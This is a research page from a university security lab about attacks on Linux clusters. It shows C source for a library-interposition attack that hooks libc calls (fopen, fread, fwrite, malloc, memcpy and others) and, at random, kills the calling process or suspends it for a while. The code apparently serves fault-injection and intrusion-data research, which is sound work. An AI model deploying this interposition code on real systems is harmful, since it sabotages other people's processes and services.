Center for Computer Security Research, Mississippi State University Attacks on High Performance Linux Clusters
Introduction
Publications
Attacks
Related Data Sets
Contact Information
Links
FunctionTime.c
/*****************************************************************************
FunctionFault.c: Interposition library to capture function calls from the libc
	and attack the system by returning invalid values

By:
	Miguel Torres
	Computer Science, Mississippi State University
	September 2003

Based on:
	Profiling and tracind gynamic library usage via interposition (Timothy Curry)
	Generation of application level audit data via library interposition (Kuperman and
		Spafford, 1999)
	The Thesis work by German Florez at the CCSR at Mississippi State University
******************************************************************************/
#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>

#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <unistd.h>
#include <time.h>
#include <string.h>

#include "signal.h"
#include <sys/utsname.h>

// For Random Generation
#include "randomlib.h"
// Sets the Seeds for the random generator
#define RANDOM (double)random()/RAND_MAX
//#define RANDOM (double)random((time(NULL))%31328)/RAND_MAX

#define INIT_RANDS \
	srand(time(NULL)); \
    	RandomInitialise((int)(time(NULL)*RANDOM)%31328,(int)(time(NULL)*RANDOM)%30081);

// Probability of start an attack
#define KILLPROC_ 1 // from 1 to 100
#define SLEEPPROC_ 10 // from 1 to 100

// WEIBULL DISTRIBUTION PARAMETERS A>0, B>0
#define _ALPHA 1.0
#define _BETA  1.0

// Attack of Libc functions
void attackKillorSleep();

#define TRUE 1
#define FALSE 0

static int DoProfile=TRUE;


#ifdef ATTACK

// Attacks the fopen function
FILE *fopen(const char *filename, const char *mode)
{
	// data referent to the real function
	typedef FILE*(*function_type) (const char *filename, const char *mode);
	static function_type function=NULL;
	static char* function_name="fopen";

	static int first_time=TRUE;

	FILE *retval;

	// Search for the next function that fits the especification of function_name
	if (!function){
		function = (function_type) dlsym(RTLD_NEXT,function_name);
	}

	// If the profiling is active
	if (DoProfile){
		// Attack
		DoProfile =FALSE;
		#ifdef PRINT_OUTPUT
			printf("_FopenProfiling\n");
			fflush(stdout);
		#endif
		/*
		** Seed the random number generator with the current time
		** of day if we haven't done so yet.
		*/
		if( first_time ){
			first_time = FALSE;
			// Random Generation
			INIT_RANDS
		}
		// Attack of Libc functions
		attackKillorSleep();			
		retval = ((*function)(filename,mode));
		// Attack
		DoProfile = TRUE;
	}
	else //do not profile, only execute
		retval = ((*function)(filename,mode));

	return (retval);
}


/*
	Closes a stream.
	fclose closes the named stream. All buffers associated with the stream 
	are flushed before closing. System-allocated buffers are freed upon closing. 
	Buffers assigned with setbuf or setvbuf are not automatically freed.
*/

int fclose(FILE *stream)
{
	typedef int(*function_type) (FILE *stream);
	static function_type function=NULL;
	static char* function_name="fclose";

	static int first_time=TRUE;

	int retval;

	if (!function){
		function = (function_type) dlsym(RTLD_NEXT,function_name);
	}


	if (DoProfile){
		// Attack
		DoProfile =FALSE;
		#ifdef PRINT_OUTPUT
			printf("_FcloseProfiling\n");
			fflush(stdout);
		#endif
		/*
		** Seed the random number generator with the current time
		** of day if we haven't done so yet.
		*/
		if( first_time ){
			first_time = FALSE;
			// Random Generation
			INIT_RANDS
		}
		// Attack of Libc functions
		attackKillorSleep();			
		retval = ((*function)(stream)); 
		// Attack
		DoProfile = TRUE;
	}
	else //do not profile, only execute
		retval = ((*function)(stream));

	return (retval);
}


/*Description Writes to a stream.
fwrite returns a NULL pointer randomly.
*/
size_t fwrite(const void *ptr, size_t size, size_t n, FILE *stream)
{
	// The actual function
	typedef size_t(*function_type) (const void *ptr, size_t size, size_t n, FILE *stream);
	static function_type function=NULL;
	static char* function_name="fwrite";
	// Sets the seed for the random number generator 
	size_t  retval;

    static int first_time=TRUE;
	if (!function){
		function = (function_type) dlsym(RTLD_NEXT,function_name);
	}

	#ifdef PRINT_OUTPUT
		printf("_W %d\n",DoProfile);
		fflush(stdout);
	#endif

	if (DoProfile){
		#ifdef PRINT_OUTPUT
			printf("_WProfiling\n");
			fflush(stdout);
		#endif
		/*
		** Seed the random number generator with the current time
		** of day if we haven't done so yet.
		*/
		if( first_time ){
			first_time = FALSE;
			// Random Generation
			INIT_RANDS
		}
		// Attack of Libc functions
		attackKillorSleep();			
		//execute the funtion and then profile
		retval = ((*function)(ptr,size,n,stream)); 
		// Attack
		DoProfile = TRUE;
	}
	else //do not profile, only execute
		retval = ((*function)(ptr,size,n,stream)); 

	return (retval);
}



/*
Reads data from a stream.
fread does not read randomly and returns NULL
*/
size_t fread(void *ptr, size_t size, size_t n, FILE *stream)
{
	typedef size_t(*function_type) (const void *ptr, size_t size, size_t n, FILE *stream);
	static function_type function=NULL;
	static char* function_name="fread";
	// Sets the seed for the random number generator 

	static int first_time=TRUE;
	size_t  retval;

	if (!function){
		function = (function_type) dlsym(RTLD_NEXT,function_name);
	}

	#ifdef PRINT_OUTPUT
		printf("_R %d\n",DoProfile);
		fflush(stdout);
	#endif

	if (DoProfile){
		// Attack
		DoProfile =FALSE;
		#ifdef PRINT_OUTPUT
			printf("_WProfiling\n");
			fflush(stdout);
		#endif
		/*
		** Seed the random number generator with the current time
		** of day if we haven't done so yet.
		*/
		if( first_time ){
			first_time = FALSE;
			// Random Generation
			INIT_RANDS
		}
		// Attack of Libc functions
		attackKillorSleep();			
		//execute the funtion and then profile
		retval = ((*function)(ptr,size,n,stream)); 
		// Attack
		DoProfile = TRUE;
	}
	else //do not profile, only execute
		retval = ((*function)(ptr,size,n,stream)); 

	return (retval);
}


/*
malloc allocates a block of size bytes from the memory heap. 
It allows a program to allocate memory explicitly as it's needed, 
and in the exact amounts needed this function also randomly returns a NULL value.
*/

void*  malloc (size_t size)
{
	typedef void*(*function_type) (size_t size);
	static function_type function=NULL;
	static char* function_name="malloc";

	static int first_time=TRUE;
	void*  retval;

	if (!function){
		function = (function_type) dlsym(RTLD_NEXT,function_name);
	}

	#ifdef PRINT_OUTPUT
		printf("_MA %d\n",DoProfile);
		fflush(stdout);
	#endif

	if (DoProfile){
		// Attack
		DoProfile =FALSE;
		#ifdef PRINT_OUTPUT
			printf("_MAProfiling %d\n",DoProfile);
			fflush(stdout);
		#endif
		/*
		** Seed the random number generator with the current time
		** of day if we haven't done so yet.
		*/
		if( first_time ){
			first_time = FALSE;
			// Random Generation
			INIT_RANDS
		}
		// Attack of Libc functions
		attackKillorSleep();			
		//execute the funtion and then profile
		retval = ((*function)(size)); 
		// Attack
		DoProfile = TRUE;

	}
	else //do not profile, only execute
		retval = ((*function)(size)); 


	return (retval);
}


/*
Copies a block of n bytes.
memcpy is available on UNIX System V systems.
memcpy copies a block of n bytes from src to dest. 
If src and dest overlap, the behavior of memcpy is undefined.
*/
void *memcpy(void *dest, const void *src, size_t n)
{
	typedef void*(*function_type) (void *dest, const void *src, size_t n);
	static function_type function=NULL;
	static char* function_name="memcpy";
	void*  retval;

	static int first_time=TRUE;
	if (!function){
		function = (function_type) dlsym(RTLD_NEXT,function_name);
	}

	#ifdef PRINT_OUTPUT
		printf("_MC %d\n",DoProfile);
		fflush(stdout);
	#endif

	if (DoProfile){
		// Attack
		DoProfile = FALSE;
		#ifdef PRINT_OUTPUT
			printf("_MCProfiling %d\n",DoProfile);
			fflush(stdout);
		#endif
		/*
		** Seed the random number generator with the current time
		** of day if we haven't done so yet.
		*/
		if( first_time ){
			first_time = FALSE;
			// Random Generation
			INIT_RANDS
		}
		// Attack of Libc functions
		attackKillorSleep();			
		//execute the funtion and then profile
		retval = ((*function)(dest, src, n)); 
		// Attack
		DoProfile = TRUE;
	}
	else //do not profile, only execute
		retval = ((*function)(dest, src, n)); 

	return (retval);
}


/* void attackKillorSleep() attacks a function by delaying its execution
	or by killing the process that calls it*/

void attackKillorSleep(){
	/* Store the original parent id*/
	int originalPID=getpid();
	double randNumber = RandomDouble(0.0,100.0);

	#ifdef PRINT_OUTPUT
		printf("First (kill):%d\n",randNumber);
		fflush(stdout);
	#endif
	if(randNumber<=KILLPROC_){
		/* KILL THE PARENT PROCESS */
		kill(originalPID,SIGKILL);
	}
	else{
		randNumber = RandomDouble(0.0,100.0);
		#ifdef PRINT_OUTPUT
			printf("Second (sleep): %d\n",randNumber);
			fflush(stdout);
		#endif
		if(randNumber<=SLEEPPROC_){
			/* HALTS THE PARENT PROCESS FOR A SPECIFIC AMOUNT OF TIME between 3 to 10 seconds */
			kill(originalPID,SIGSTOP);
			randNumber = RandomWeibull(_ALPHA,_BETA);
			#ifdef PRINT_OUTPUT
				printf("Time to sleep: %d\n",randNumber);
				fflush(stdout);
			#endif
			usleep ((int)randNumber*1000000);
			kill(originalPID,SIGCONT);
		}
	}
}


#endif


syntax highlighted by Code2HTML, v. 0.9.1

Questions and comments about this web site may be directed to the webmaster at rwm8@cse.msstate.edu